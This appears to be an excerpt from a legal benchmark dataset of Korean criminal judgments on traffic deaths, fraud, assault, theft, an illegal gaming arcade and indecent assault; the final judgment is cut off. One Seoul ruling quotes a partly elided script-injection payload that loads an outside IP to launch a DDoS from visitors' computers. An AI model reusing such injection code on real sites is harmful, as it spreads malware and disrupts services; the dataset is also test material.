Chaeeun-Kim/LEGAR_BENCH huggingface dataset:
창원지방법원-2013고단1317

범죄사실 피고인은 B 코란도스포츠 차량의 운전업무에 종사하는 사람이다. 피고인은 2013. 3. 9. 00:15경 혈중알콜농도 0.204%의 술에 취한 상태로 위 차량을 운전하여 창원시 성산구 웅남동에 있는 주식회사 티아이씨 앞 편도 3차로 도로를 남창원역 쪽에서 창곡삼거리 쪽으로 1차로를 따라 불상의 속도로 진행하게 되었다. 당시는 야간이고 그곳은 황색 실선의 중앙선이 설치된 곳이므로 이러한 경우 운전업무에 종사하는 자로서는 전방 주시를 철저히 하고 차선을 지켜 안전하게 운행하여야 할 업무상 주의의무가 있었다. 그럼에도, 피고인은 술에 취하여 이를 게을리 한 채 중앙선을 넘어 진행하다가 다시 진행방향 1차로 복귀하던 중 같은 방향에서 앞서 진행 중인 C가 운전하는 D 트렉터 차량 우측 뒤 부분을 피고인이 운전하는 차량 앞 부분으로 들이받았다. 결국, 피고인은 위와 같은 업무상 과실로 피고인 차량에 동승한 피해자 E(29세)를 외상성 뇌손상 등으로 사망에 이르게 하였다. 증거의 요지 1. 피고인의 법정진술 1. F에 대한 경찰 진술조서 1. 교통사고발생상황보고 1. 주취운전자 적발보고서(채혈) 1. 시체검안서 법령의 적용 1. 범죄사실에 대한 해당법조 및 형의 선택 도로교통법 제148조의2 제2항 제1호, 제44조 제1항(음주운전의 점, 징역형 선택), 교통사고처리 특례법 제3조 제1항, 형법 제268조(업무상 과실치사의 점, 금고형 선택) 1. 경합범가중 형법 제37조 전단, 제38조 제1항 제2호, 제2항, 제50조[형이 더 무거운 교통사고처리특례법위반죄에 정한 형에 경합범가중하여 징역형으로 처벌하되, 하한은 도로교통법위반(음주운전)죄에 정한 형의 그것에 의한다] 1. 집행유예 형법 제62조 제1항(아래 양형의 이유 중 유리한 정상 참작) 양형의 이유 피고인이 만취상태로 음주운전 중 교통사고를 내어 동승한 피해자를 사망에 이르게 하는 중한 결과를 초래하여 그 죄책이 가볍지 않으나, 자신의 잘못을 인정하면서 참회하고 있는 점, 이 사건 사고로 피고인 자신도 중한 상해를 입었을 뿐만 아니라, 지인이던 피해자의 사망으로 인해 견디기 힘든 죄책감과 심적 고통에 시달리고 있는 것으로 보이는 점, 가해차량이 자동차종합보험에 가입되어 있고 피고인이 피해자의 유족들과 합의한 점, 범죄전력이 전혀 없는 초범인 점 등을 유리하게 참작하여 형을 정한다. 이상의 이유로 주문과 같이 판결한다.
대구지방법원-2013고단2882

범죄사실 창고업자인 C은 2011. 10. 21. 대구 서구 D에 있는 E를 운영하며 F를 운영하는 피해자 G로부터 시가 27,938,625원 상당의 원사 9,750kg의 보관을 의뢰받고 피해자에게 보관증을 발행하고 위 원사를 보관하게 되었다. 1. 피고인은 2011. 12. 5.경 위 E에서 위 F를 피해자와 동업하는 것처럼 행세하면서 C에게 "우리 원사를 받으려 왔다. 원사 3,000kg을 출고해 달라."고 거짓말하였다. 그러나 사실은 피고인은 피해자로부터 위 원사의 출고를 승낙받은 사실이 없었다. 피고인은 이와 같이 이에 속은 C으로부터 즉석에서 피해자 소유의 원사 3,000kg을 교부받았다. 2. 피고인은 2011. 12. 30.경 위 E에서 제1항과 같이 행세하면서 C에게 "나머지 원사를 출고해 달라"고 거짓말하였다. 그러나 사실은 피고인은 피해자로부터 위 원사의 출고를 승낙받은 사실이 없었다. 피고인은 이와 같이 이에 속은 C으로부터 즉석에서 원사 6,750kg을 교부받았다. 이로써 피고인은 C을 기망하여 2회에 걸쳐 피해자 소유의 시가 27,938,625원 상당의 원사 9,750kg을 교부받았다. 증거의 요지 1. 피고인의 일부 법정진술 1. 증인 C, G의 각 법정진술 1. 피고인에 대한 검찰 피의자신문조서 중 G 진술부분 1. G에 대한 검찰 진술조서 1. 피고인에 대한 제2, 3회 각 경찰 피의자신문조서 중 G 진술부분 1. C, G에 대한 각 경찰 진술조서 1. 각 거래명세표 사본(수사기록 제5, 8, 9, 16쪽), 보관증 사본, 입금표 사본, F 사업자등록증 사본 법령의 적용 1. 범죄사실에 대한 해당법조 및 형의 선택 각 형법 제347조 제1항(각 징역형 선택) 1. 경합범가중 형법 제37조 전단, 제38조 제1항 제2호, 제50조 1. 집행유예 형법 제62조 제1항(아래 양형이유 참조) 1. 사회봉사명령 형법 제62조의2, 보호관찰 등에 관한 법률 제59조 유죄 및 양형이유 피고인과 변호인은, 피고인이 피해자 G로부터 원사 출고 승낙을 받은 후 원단을 타에 판매하였으므로, 사기죄가 성립되지 않는다는 취지로 주장한다. 그러나, 피해자 G은 수사기관 및 이 법정에서 일관되게 피고인에게 원사 출고 승낙을 한 적이 없다고 진술하고 있는데, 피고인과 피해자는 통상 출고 전에 원사 판매가에 대하여 협의를 하여 왔던 것으로 보이는데 이 사건 각 범행일이나 그 무렵에 피고인과 피해자가 원사 판매가에 대하여 구체적인 협의를 한 정황을 찾아볼 수 없는 점, 피고인이 판매한 원사가격은 구매가격의 2/3 정도의 금액으로 상당히 낮아 피해자가 받아들이기 어려운 가격으로 보이는 점(피고인 스스로도 상당히 낮은 가격임을 인정하고 있음), 피해자는 원사보관업자인 C을 상대로 원사 무단 출고에 대한 책임을 묻기 위하여 민사소송을 제기한 점 등에 비추어 보면, 피해자의 진술이 피고인의 주장보다 더 신빙할 만하다. 달리 피고인의 주장을 뒷받침할 만한 객관적인 자료도 없는바, 피고인과 변호인의 주장은 받아들이지 않는다. 피고인이 범행을 부인하고 있고, 피해액도 적지 않은 금액이어서 엄중한 형사책임을 물어야 할 것이나, 이 사건 범행 이후의 상황, 즉 피해자가 원단보관업자인 C으로부터 이 사건과 관련하여 1,500만 원을 지급받아 결과적으로 일부 피해보상을 받은 점, 피고인과 피해자가 상당기간 거래관계를 유지하면서 수익을 정산하였는데, 이 사건 원사대금과 관련된 정산문제에 대해서는 서로 의견이 엇갈린 상태로서 정산이 마쳐졌는지 여부를 명확히 확인할 수 없는 상황인 점 등을 감안하면, 실형을 선고하는 것은 다소 가혹한 형사처벌이라고 판단되어, 주문과 같이 형을 정하였다.
울산지방법원-2013고단1810

범죄사실 피고인은 C 봉고Ⅲ 화물차의 운전업무에 종사하는 사람이다. 피고인은 2013. 1. 30. 17:59경 위 차량을 운전하여 울산 중구 서동에 있는 거성건재 앞 편도 4차로의 도로를 중구청 쪽에서 상방사거리 쪽으로 4차로를 따라 시속 약 62km의 속도로 진행하게 되었다. 당시 그곳 전방에는 신호기가 설치된 횡단보도가 있었고, 당시 차량정지신호가 진행신호로 막 바뀌는 시점이었으므로, 운전업무에 종사하는 사람으로서는 속도를 줄이고 전방 및 좌우를 잘 살펴 뒤늦게 횡단보도에 진입하여 길을 건너는 사람이 있는지 여부를 확인하고 안전하게 운전하여야 할 업무상 주의의무가 있었다. 그럼에도 불구하고, 피고인은 위와 같은 주의의무를 게을리 한 채 만연히 진행한 업무상의 과실로, 마침 차량 진행방향 좌측에서 우측으로 횡단보도를 따라 뛰어오던 피해자 D(여, 39세)을 미처 발견하지 못하고 위 차량 앞범퍼의 운전석 쪽 모서리 부분으로 피해자를 충격하여 피해자로 하여금 같은 날 20:05경 울산 중구 E에 있는 F병원 응급실에서 다발성 장기출혈로 사망하게 하였다. 증거의 요지 1. 피고인의 법정진술 1. G에 대한 경찰진술조서 1. 교통사고보고(실황조사서) 1. 검시조서 1. 교차로 신호운영 계획 및 결과 1. 교차로 TOD 정보 1. 사망진단서 1. 블랙박스 영상자료 1. 교통사고정밀분석의뢰에 대한 회신 1. 변사자 사체 사진 법령의 적용 1. 범죄사실에 대한 해당법조 교통사고처리특례법 제3조 제1항, 형법 제268조(금고형 선택) 1. 집행유예 형법 제62조 제1항(피고인이 이 법정에서 깊이 반성하고 있는 점, 피해자의 과실도 사고 발생에 기여한 점, 피고인과 피해자의 유족 사이에 합의가 이루어진 점, 피고인에게 별다른 전과가 없는 점 등 참작) 1. 수강명령 형법 제62조의2 양형의 이유 위 범죄사실은 양형기준상 일반 교통사고 제2유형에 해당하는 범죄로서, 가중요소는 보이지 아니하고, 감경요소로 '피해자에게도 교통사고 발생 또는 피해 확대에 상당한 과실이 있는 경우'에 해당한다는 점 및 '처벌불원'의 점이 있으므로, 감경영역의 형량범위에 특별 조정을 한 후의 형량범위 내에서 이 사건의 공판 및 기록에 나타난 제반 사정을 참작하여 주문과 같이 형을 정한다. 한편, 형의 집행을 유예하는 이유는 앞서 본 바와 같다(양형기준상 집행유예 주요부정사유로 '사망'이라는 점이 있고, 주요긍정사유로 '피해자에게도 교통사고 발생 또는 피해 확대에 상당한 과실이 있는 경우'에 해당한다는 점 및 '처벌불원'의 점이 있어 실형/집행유예를 선택할 수 있는 경우에 해당함). 이상의 이유로 주문과 같이 판결한다.
제주지방법원-2013고정518

범죄사실 1. 사기 피고인은 2013. 3. 15. 23:20경 제주시 C에 있는 피해자 D 운영의 'E' 유흥주점에서, 사실은 대금을 지불할 의사나 능력이 없음에도 불구하고 마치 지불할 것처럼 행세하면서 술과 안주를 주문하여 이에 속은 피해자로부터 대금 합계 150,000원 상당의 양주 1병과 안주 등을 제공받아 이를 편취하였다. 2. 특수협박 피고인은 제1항 기재 장소에서 피해자가 술값 지불을 요구하자 '절대 술값을 못 준다'고 고함을 지르면서 오른손에 양주병을 들고 피해자의 얼굴을 향해 휘둘러 해악을 가할 듯한 태도를 보임으로써 피해자를 협박하였다. 증거의 요지 1. 피고인의 법정 진술 1. D에 대한 경찰 진술조서 법령의 적용 1. 범죄사실에 대한 해당법조 및 형의 선택 : 형법 제347조 제1항(사기의 점), 제284조, 제283조 제1항(특수협박의 점). 각 벌금형 선택 1. 경합범 가중 : 형법 제37조 전단, 제38조 제1항 제2호, 제50조 1. 노역장 유치 : 형법 제70조, 제69조 제2항 1. 가납명령 : 형사소송법 제334조 제1항 양형의 이유 다음과 같은 정상들을 모두 고려하여 주문과 같이 형을 정함. 유리한 정상 : 범행사실 인정하고 반성하는 점, 피고인의 건강상태(알콜의존증 및 중증도 우울병 장애)가 범행에 영향을 미친 것으로 보이는 점, 피해액이 크지 않고 피해자와 합의한 점 불리한 정상 : 다수의 동종 전과가 있는 점 기타 : 피고인의 가족관계, 경제적 여건, 기존 전과관계 등 이상의 이유로 주문과 같이 판결한다.
제주지방법원-2013고정495

범죄사실 피고인은 2012. 11. 30. 19:00경에 C 소유의 D 시보레 익스프레스 승합차량을 운전하여 제주시 용담동에 있는 7호광장 북측 30m 도로의 1차로를 따라 공항 방면에서 신제주로타리 방면으로 1차로로 진행하던 중 2차로로 진로를 변경하게 되었는바, 차량운전자는 진로를 변경함에 있어 그 변경하고자 하는 방향으로 오는 다른 차의 정상적인 통행에 장애를 줄 우려가 있는 경우에는 진로를 변경해서는 안 될 업무상 주의의무가 있음에도 막연히 진로를 변경한 과실로, 마침 위 도로 2차로를 같은 방향으로 진행하던 피해자 E(29세) 운전의 F 쏘울 승용차의 우측 바퀴 부분을 피고인 차량의 좌측 후사경 부분으로 충격하여 위 승용차를 수리비 554,704원 상당이 들도록 손괴함과 동시에 피해자가 약 2주간의 치료를 요하는 요추 염좌 등의 상해를 입게 하였다. 증거의 요지 1. 피고인의 법정 진술 1. 실황조사서, 견적서(증거목록 순번 11), 진단서 법령의 적용 1. 범죄사실에 대한 해당법조 : 교통사고처리특례법 제3조 제1항, 형법 제268조(업무상 과실치상의 점), 도로교통법 제151조(업무상 과실 재물손괴의 점) 1. 상상적 경합 : 형법 제40조, 제50조 1. 형의 선택 : 벌금형 선택 1. 노역장 유치 : 형법 제70조, 제69조 제2항 1. 가납명령 : 형사소송법 제334조 제1항 양형의 이유 다음과 같은 정상들을 모두 고려하여 주문과 같이 형을 정함. 유리한 정상 : 범행사실 인정하고 반성하는 점, 피해자가 입은 상해 및 재산상 손해가 경미한 점, 주의의무 위반의 정도가 중하지 않은 점, 피해자를 위해 70만 원을 공탁한 점, 전과 없는 초범인 점 불리한 정상 : 피해 회복되지 않은 점 기타 : 피고인의 직업, 경제적 여건 등 이상의 이유로 주문과 같이 판결한다.
서울중앙지방법원-2013고단4725

범죄사실 누구든지 정당한 사유 없이 정보통신시스템, 데이터 또는 프로그램 등을 훼손·멸실·변경·위조하거나 그 운영을 방해할 수 있는 프로그램을 전달 또는 유포하여서는 아니 된다. 그럼에도 불구하고, 피고인은 2012. 11. 15. 17:18경 충남 공주시 신관동 609 소재 공주종합버스터미널 부근에 있는 상호불상의 PC방에서, C이 운영하는 'D' 인터넷 사이트(E)의 유머게시판에 '19'라는 제목으로 피고인이 지정한 특정 사이트로 분산서비스거부공격(DDoS 공격)을 수행하는 악성코드가 담긴 악성 스크립트 코드인 '&amp;1t;/textarea&amp;gt&amp;1t;divid="topmenu_contain"&amp;gt;&amp;1t;/div&amp;gt;1t;divstyle=width:1px;filter:glow onfilterchange="var xmlhttp = new XMLHttpRequest();(중략)http://1.234.83.71&amp;gt;&amp;1t;/ifr'+'a'+'me&amp;gt;';"&amp;gt;x&amp;1t;/div&amp;gt;'가 삽입된 글을 게시한 것을 비롯하여 같은 날 17:23경, 17:24경, 17:32경 위 사이트 유머게시판 및 클린게시판에 위와 같은 악성 스크립트 코드가 삽입된 글을 각 게시하여 위 사이트를 방문하여 위 게시글들을 클릭한 불특정 다수의 인터넷 사용자들의 약 2,000대의 컴퓨터에 위 악성코드가 설치되게 하였다. 이로써 피고인은 총 4회에 걸쳐 정당한 사유 없이 정보통신시스템, 데이터 또는 프로그램 등을 훼손·멸실·변경·위조하거나 그 운영을 방해할 수 있는 프로그램을 유포하였다. 증거의 요지 1. 피고인의 법정진술 1. 피고인에 대한 검찰 피의자신문조서 1. C, F에 대한 각 경찰 진술조서 1. 아이피 정리자료, 게시물 작성 기록, 아이피 자료, 인터넷 캡쳐글, 카카오톡 대화 내용, 캡쳐화면, 인터넷 캡쳐화면 법령의 적용 1. 범죄사실에 대한 해당법조 및 형의 선택 정보통신망 이용촉진 및 정보보호 등에 관한 법률 제71조 제9호, 제48조 제2항(포괄하여, 징역형 선택) 1. 집행유예 형법 제62조 제1항(초범인 점, 자신의 잘못을 인정하고 반성하고 있는 점, 그 밖에 피고인의 연령, 성행, 가정환경, 범행의 동기 및 경위, 범행 후의 정황 등 변론에 나타난 양형조건들을 모두 참작)
수원지방법원안산지원-2012고합72

범죄사실 피고인은 2011. 12. 13. 19:30경 안산시 상록구 G에 있는 'H' 앞 길거리에서 술에 만취하여 사물을 변별하거나 의사를 결정할 능력이 미약한 상태에서, 지나가는 여성들에게 "자기야, 사랑한다. 2차 가자, 술 먹자."라고 소란을 피우던 중, 이를 보며 경찰에 신고를 하고 땅에 떨어진 피고인의 옷을 주워 피고인에게 입혀주던 피해자 I(여, 16세)의 양팔을 잡고 "뽀뽀하자, 삼촌이라고 생각하고 뽀뽀해라, 진하게 뽀뽀 한번 하자."라고 하면서 피해자를 잡아당겨 끌어안고, 이를 제지하던 피해자를 뒤에서 껴안아 양팔이 피해자의 가슴을 스치게 하는 방법으로 피해자를 강제로 추행하였다. 증거의 요지 1. 피고인의 법정진술 1. I 에 대한 경찰 진술조서 1. J 의 진술서(간이) 1. 수사보고(일반) 법령의 적용 1. 범죄사실에 대한 해당법조 및 형의 선택 아동·청소년의 성보호에 관한 법률 제7조 제3항, 형법 제298조(벌금형 선택) 1. 법률상 감경 형법 제10조 제2항, 제1항, 제55조 제1항 제6호(주취로 인한 심신미약) 1. 노역장유치 형법 제70조, 제69조 제2항 1. 가납명령 형사소송법 제334조 제1항 1. 이수명령 아동·청소년의 성보호에 관한 법률 제13조 제1항 본문, 제2항 양형의 이유 이 사건 범행은, 피고인이 길거리에서 술에 취하여 소란을 피우다가 근처에 있던 여자 청소년을 뒤에서 껴안아 양팔이 가슴에 스치게 하는 등 강제로 추행한 것으로, 피고인이 나이 어린 피해자를 상대로 위와 같은 범행을 저질렀다는 점에서 그 죄질이 가볍지 아니한 점, 피해자가 이 사건 범행으로 인하여 적지 않은 성적 수치심과 정신적인 고통을 받았을 것으로 보이는 점, 피고인이 피해자와 합의에 이르지 못하여 피해자가 피고인의 처벌을 원하고 있는 점 등에 비추어 보면, 피고인을 엄하게 처벌할 필요가 있다. 다만 피고인이 이 사건 범행을 시인하면서 잘못을 반성하고 있는 점, 피고인에게 성범죄 전력이나 벌금형보다 무겁게 처벌받은 전력이 없는 점, 피고인이 술에 만취하여 사물을 변별하거나 의사를 결정할 능력이 미약한 상태에서 우발적으로 이 사건 범행을 저지른 것으로 보이는 점, 이 사건 추행의 정도가 그리 중하지는 않았던 점 등 피고인에게 유리한 정상도 고려하고, 그 밖에 피고인의 나이, 성행, 환경, 범행의 경위, 범행 후의 정황 등 이 사건에 나타난 양형의 조건이 되는 모든 사정을 참작하여, 피고인에 대하여 주문과 같이 형을 정한다. 신상정보 등록 이 판결이 확정되는 경우 피고인은 아동·청소년의 성보호에 관한 법률 제33조 제1항에 의한 신상정보 등록대상자가 되므로, 같은 법 제34조에 의하여 관할기관에 신상정보를 제출할 의무가 있다.
춘천지방법원-2013고단435

범죄사실 피고인은 2013. 4. 26. 12:00경에서 같은 날 15:30경 사이에 춘천시 C에 있는 피해자 D이 경작하는 장뇌삼밭에 이르러, 소지하고 있던 괭이를 이용하여 그곳에 심어진 피해자 소유의 7~8년생 장뇌삼 약 102뿌리 시가 합계 7,000,000원 상당을 캐어가 이를 절취하였다. 증거의 요지 1. 피고인의 일부 법정진술 1. D에 대한 경찰 진술조서 1. E의 진술서 1. 압수조서 및 압수목록 1. 압수물 등 사진 법령의 적용 1. 범죄사실에 대한 해당법조 및 형의 선택 형법 제329조, 징역형 선택 1. 집행유예 형법 제62조 제1항(아래 양형의 이유 중 유리한 정상 참작) 1. 보호관찰 및 사회봉사명령 형법 제62조의2 1. 몰수 형법 제48조 제1항 제1호 양형의 이유 [유형의 결정] 절도 > 일반재산에 대한 절도 > 일반절도 [특별양형인자] - 감경요소 처벌불원 [권고영역의 결정] 감경영역 [권고형의 범위] 4월~10월 [집행유예 여부] - 주요참작사유 : 긍정적 처벌불원(자의적 피해 회복 또는 피해 회복을 위한 진지한 노력 포함) - 일반참작사유 : 부정적 진지한 반성 없음 [선고형의 결정] 피고인에게는 동종 전과가 있는 점 등 불리한 정상과 피해자와 합의한 점 등 유리한 정상이 있고, 이러한 정상들에 피해의 규모, 피고인의 성행, 환경을 비롯하여 이 사건 변론과정에 나타난 여러 사정을 두루 참작하여 주문과 같이 형을 정한다. 이상의 이유로 주문과 같이 판결한다.
서울북부지방법원-2013고단1193

범죄사실 피고인 A은 서울 광진구 G 소재 건물 지하 1층에서 상호 없는 게임장을 운영하였던 자이고, 피고인 B은 피고인 E의 소개를 받아 피고인 A으로부터 일당 20만원을 받기로 한 후 위 게임장에 출근하여 카운터에 앉아 있으면서 위 게임장의 바지사장 역할을 하였던 자이며, 피고인 C, D은 위 게임장의 종업원이었던 자이고, 피고인 E은 피고인 A으로부터 게임장의 바지사장이 필요하다는 말을 듣고 피고인 B을 피고인 A에게 소개하여 준 자이다. 1. 피고인들의 공동범행 피고인 A은 2012. 9.경 피고인 E에게 '게임장을 하여야 하는데 바지사장을 할 사람이 필요하다'고 부탁을 하여 피고인 E은 2012. 9.경 서울 동대문구 H 커피숍에서, I요양병원에 입원하여 있던 피고인 B을 피고인 A에게 소개하여 주었고, 피고인 A은 그 자리에서 피고인 B에게 '제가 전과가 2개 있으니까 만약 단속이 되면 업주라고 진술을 해 달라, 게임장에 나와서 카운터에 앉아만 있으면 하루에 일당으로 20만원을 주겠다'고 제의하여 피고인 B로 하여금 승낙을 얻었다. 한편 피고인 E은 2012. 10. 초순경 장소불상지에서, 피고인 B에게 전화하여 피고인 B로 하여금 2012. 10. 초순경 서울 광진구 소재 상호불상 부동산 사무실에서 임대차계약서에 임차인으로 서명을 하게 하였다. 피고인 A, E은 2012. 10. 초순경 서울 동대문구 J 소재 피고인 B이 입원해 있는 병원을 찾아가서 피고인 B에게 "그렇게 입으면 사람들이 사장이라고 인정해 주지 않는다."고 하면서 양복을 구입하러 가자고 하였고, 피고인 A은 서울 동대문구 H에 있는 K 상점에서 피고인 B에게 양복 1벌과 티셔츠 1개, 남방셔츠1개를 구입하여 주어 피고인 A이 운영하는 게임장에서 입도록 하였다. 피고인 A, 피고인 B, 피고인 C은 2012. 10. 9.경부터 2012. 10. 15. 22:00경까지, 피고인 D은 2012. 10. 15. 점심 시간불상경부터 같은 날 22:00경까지 서울 광진구 G 소재 건물 지하 1층에 있는 상호 없는 게임장에서, 피고인 A은 등급분류를 받은 것과 다른 내용의 '피싱 파라다이스' 게임기 43대를 설치하고, 피고인 B은 카운터에 앉아 속칭 '바지사장' 행세를 하며, 피고인 D은 게임장 밖에서 망을 보면서 손님들을 후문으로 안내하여 출입시켰고, 피고인 A, C은 그곳을 찾아온 불특정 손님들로부터 현금 1만원당 10,000점이 적립된 게임용 충전카드를 지급한 후 손님들로 하여금 위 카드를 이용하여 게임을 하게 한 다음 그 게임결과에 따라 손님이 획득한 점수 10,000점당 현금 1만원으로 환산하여 환전해 주었다. 이로써 피고인들은 공모하여 등급분류를 받은 게임물과 다른 내용의 게임물을 이용에 제공하고, 게임물의 이용을 통하여 획득한 유·무형의 결과물의 환전을 업으로 하였다. 2. 피고인 A, E의 공동범행(범인도피교사) 피고인 A은 2012. 9.경 피고인 E에게 '게임장을 하여야 하는데 바지사장을 할 사람이 필요하다'고 부탁을 하여 2012. 9.경 서울 동대문구 H 커피숍에서, 피고인 E로부터 B을 소개받아 B에게 '제가 전과가 2개 있으니까 만약 단속이 되면 업주라고 진술을 해달라, 게임장에 나와서 카운터에 앉아만 있으면 하루에 일당으로 20만원을 주겠다'고 제의하여 B로 하여금 피고인을 대신하여 수사기관에 허위로 자백할 것을 마음먹게 하였다. 이에 피고인 B은 위 피고인들의 위와 같은 범인도피교사에 따라 피고인 A이 운영한 게임장이 단속된 직후인 2012. 10. 16. 서울광진경찰서 수사과 사이버팀사무실에서, 경위 L으로부터 게임산업진흥에관한법률위반 사건에 대하여 조사를 받으면서 위 경찰관의 질문에 '제가 서울 광진구 G에서 2,000만원을 들여 게임기를 구입하여 게임장을 운영하였다'는 취지로 허위 자백하였다. 이로써 피고인들은 공모하여 범인도피를 교사하였다. 3. 피고인 B의 단독범행(범인도피) 피고인 B은 A, E의 위 2항 기재와 같은 부탁에 응해주기로 마음먹었다. 이에 피고인 B은 A, E의 범인도피교사에 따라 피고인 A이 운영하는 게임장이 단속된 직후인 2012. 10. 16. 서울광진경찰서 수사과 사이버팀 사무실에서, 경위 L으로부터 게임산업진흥에관한법률위반 사건에 대하여 조사를 받으면서 위 경찰관의 질문에 위 2항 기재와 같이 허위 자백하였다. 이로써 피고인 B은 범인인 피고인 A을 도피하게 하였다. 증거의 요지 1. 피고인들의 각 법정진술 1. 피고인 A, B, C, D에 대한 각 검찰피의자신문조서 1. M, N, O, P, Q, R, S, T, U의 각 진술서 1. 경찰 압수조서 법령의 적용 1. 범죄사실에 대한 해당법조 가. 피고인 A, E : 각 게임산업진흥에관한법률 제44조 제1항 제2호, 제32조 제1항 제7호, 제45조 제4항, 제32조 제1항 제2호, 형법 제151조 제1항, 제30조, 제31조 제1항 (각 징역형 선택) 나. 피고인 B : 게임산업진흥에관한법률 제44조 제1항 제2호, 제32조 제1항 제7호, 제45조 제4항, 제32조 제1항 제2호, 형법 제151조 제1항, 제30조 (각 징역형 선택) 다. 피고인 C, D : 각 게임산업진흥에관한법률 제44조 제1항 제2호, 제32조 제1항 제7호, 제45조 제4항, 제32조 제1항 제2호, 형법 제30조 (각 징역형 선택) 1. 경합범가중 각 형법 제37조 전단, 제38조 제1항 제2호, 제50조 1. 집행유예 각 형법 제62조 제1항 1. 몰수 (피고인 A에 대하여) 게임산업진흥에관한법률 제44조 제2항, 형법 제48조 제1항
광주지방법원-2011고정2570

[범죄전력] 피고인은 2012. 11. 23. 전주지방법원 군산지원에서 폭력행위등처벌에관한법률위반(집단·흉기등재물손괴등)죄로 징역 6월 집행유예 2년을 선고받고, 그 판결은 2012. 12. 1. 확정되었다. [범죄사실] 2011고정2570 피고인은 2011. 05. 27. 21:55경 광주 서구 C에 있는 피해자 D(여, 48세)가 운영하는"E 식당"에서 술에 취해 혼자 손님으로 와서 식사를 하던 중 업주인 피해자가 종업원에게 잔소리를 한다는 이유로 "종업원이 먹고 살라고 밤에 일하지 않느냐"며 시비를 걸면서 뚝배기 그릇을 바닥에 던지고 한손으로 피해자의 머리채를 잡아 식당 벽에 약 5회 가량 밀치고 계속하여 멱살을 잡아 바닥에 넘어뜨리는 등 피해자로 하여금 전치 약 2주간의 치료를 요하는 두부타박상 등을 가하였다. 2011고정2706 피고인은 2011. 07. 14. 17:40경 광주 남구 F에 있는 피해자 G(34세)이 관리하는 H병원 응급실 안에서, 어깨통증 등으로 치료를 받은 후 치료비를 지불하지 않고 나가 술을 마시고 다시 들어와 몸이 아픈데도 포도당 주사를 놓아주지 않는다는 이유로 침대에 눕고 '쉬어간다'면서 다른 환자들 주변을 배회하고 큰소리로 고함을 치는 등 같은 날 18:40경까지 약 1시간 동안 위력으로 피해자의 병원영업 업무를 방해하였다. 2012고단4600 피고인은 2012. 8. 18. 15:00경 광주 서구 I에 있는 피해자 J이 운영하는 K병원에서 술에 취하여 어깨가 아프다며 치료를 요구하였으나 진료시간이 끝났으며 술에 취한 상태에서는 치료가 어려워 피해자로부터 나가 달라는 요구를 받았다. 그러나 피고인은 이에 응하지 아니하고 같은 날 15:14분경 피해자의 신고에 의하여 출동한 경찰관이 도착할 때까지 병원 대기실 의자에 누워 "니미 씹할 놈"이라는 등 욕설을 하며 정당한 이유 없이 피해자의 퇴거요구에 불응하였다. 2013고정282 피고인은 2012. 8. 9. 08:10경 광주 서구 L에 있는 피해자 M(53세)이 운영하는 N 식당에서 영업 준비를 위하여 분주한 시간에 그곳을 찾아 온 피고인이 밥을 달라고 하였으나 피해자가 아직 준비가 덜 되어 밥을 줄 수 없다고 말한다는 이유로 "왜 밥을 안줘, 이 씹 새끼야! 이 싸가지 않는 놈의 새끼, 콱 영업을 못하게 해 버린다!"라고 큰 소리로 욕하면서 유리 출입문을 3, 4회 발로 차고 수저통을 들어 식탁을 약 3회 내려친 후 피해자에게 던질 것같이 위협 하는 등 약 10분에 걸쳐 위력으로 피해자의 식당 영업 업무를 방해하였다. 증거의 요지 2011고정2570 1. 피고인의 법정진술 1. D에 대한 경찰 진술조서 1. 상해진단서 2011고정2706 1. 피고인의 법정진술 1. G에 대한 경찰 진술조서 2012고단4600 1. 피고인의 법정진술 1. J에 대한 경찰 진술조서 2013고정282 1. 피고인의 법정진술 1. M에 대한 경찰 진술조서 판시 전과 1. 범죄경력조회 1. 범죄전력에 대한 판결문 법령의 적용 1. 범죄사실에 대한 해당법조 및 형의 선택 형법 제257조 제1항(벌금형 선택), 각 형법 제314조 제1항(벌금형 선택), 형법 제319조 제2항, 제1항(징역형 선택) 1. 경합범처리 형법 제37조 후단, 제39조 제1항 1. 경합범가중 형법 제37조 전단, 제38조 제1항 제2호, 제3호, 제50조 1. 노역장유치 형법 제70조, 제69조 제2항 양형의 이유 피고인이 자백하고 반성하고 있으며, 이 사건 범행들이 판시 전과와 형법 제37조 후단의 관계에 있는 점, 피해자 G은 피고인에 대한 처벌을 바라지 않는다는 취지의 합의서를 제출했으나, 피고인이 이미 이 사건 범행들과 비슷한 수법의 범행으로 여러 번 처벌을 받았음에도 다시 이 사건 범행들을 저질렀고, 각 범행으로 인한 피해가 물질적으로 보면 그다지 크지 않다고 할 수 있으나, 피고인이 별다른 죄의식 없이 여러 사람이 출입하는 식당이나 병원 응급실 등에서 자신의 마음에 들지 않는다는 이유 등으로 범행을 저질러 개전의 정이 과연 얼마나 있는지 의문이고, 피해 회복을 위한 노력도 한 바 없는 점(피해자 G과의 합의는 피고인의 적극적인 노력의 결과가 아니다) 등 참작.
수원지방법원-2018고정254

범죄사실 피고인과 피해자 B(54세, 여)은 노동일을 하는 자들이다. 피고인은 2017. 6. 13. 09:40경 경기도 용인시 수지구 C 아파트 공사현장 D층 엘리베이터 앞에서 자신의 일행인 E이 몰딩작업을 하는 피해자에게 미장 판 손잡이 자루를 만든다며 전기톱을 빌려달라고 말한 이유로 말다툼을 하다가 일행들과 시비가 되어 다투는 장면을 피해자가 휴대전화로 촬영하는 것을 보고 "뭐하러 촬영하냐"며 손으로 머리채를 수 회 잡아 당겨 피해자에게 약 14일간의 치료를 요하는 '두피의 표재성 손상, 박리, 찰과상' 등의 상해를 가하였다. 증거의 요지 1. 피고인의 일부 법정진술 1. 제3회 공판조서 중 증인 B, F이 한 이에 들어맞는 진술기재 1. 피고인에 대한 일부 경찰 피의자신문조서 1. 상해진단서 1. 상해부위사진(증거목록 순번 9번) [피고인 및 그 변호인은, '피해자가 주먹으로 피고인의 얼굴을 치고 발로 차서 그 공격을 방어하기 위해 피해자의 머리채를 잡으려고 2차례 시도했을 뿐이고, 그조차 1번은 머리채를 잡지도 못했고, 한 번은 머리카락 몇 올만이 뽑힐 정도로 잡은 것에 불과하다. 따라서 피고인의 행동은 소극적인 방어행위에 불과하여 정당방위에 해당한다'고 주장한다. 이 법원이 적법하게 채택하여 조사한 증거들에 의하여 인정할 수 있는 다음과 같은 사정들, 즉 피해자의 수사기관 및 이 법정에서의 피고인으로부터 상해를 당한 경위 및 그 당시의 상황에 대한 진술의 주된 내용이 일관되고, 구체적이며 매우 생생하고, 목격자인 F의 진술과도 일치하여 충분히 신빙성이 있는 점, 피고인도 수사기관에서부터 피해자의 머리를 2회 정도 잡아당긴 사실을 인정하였었고, 경찰에서는 피해자의 상해부위 사진을 보면서 '자신이 한 것이 맞다'는 취지로 진술하기도 하였던 점, 피고인이 이 사건 상해를 당한 직후 찍은 사진의 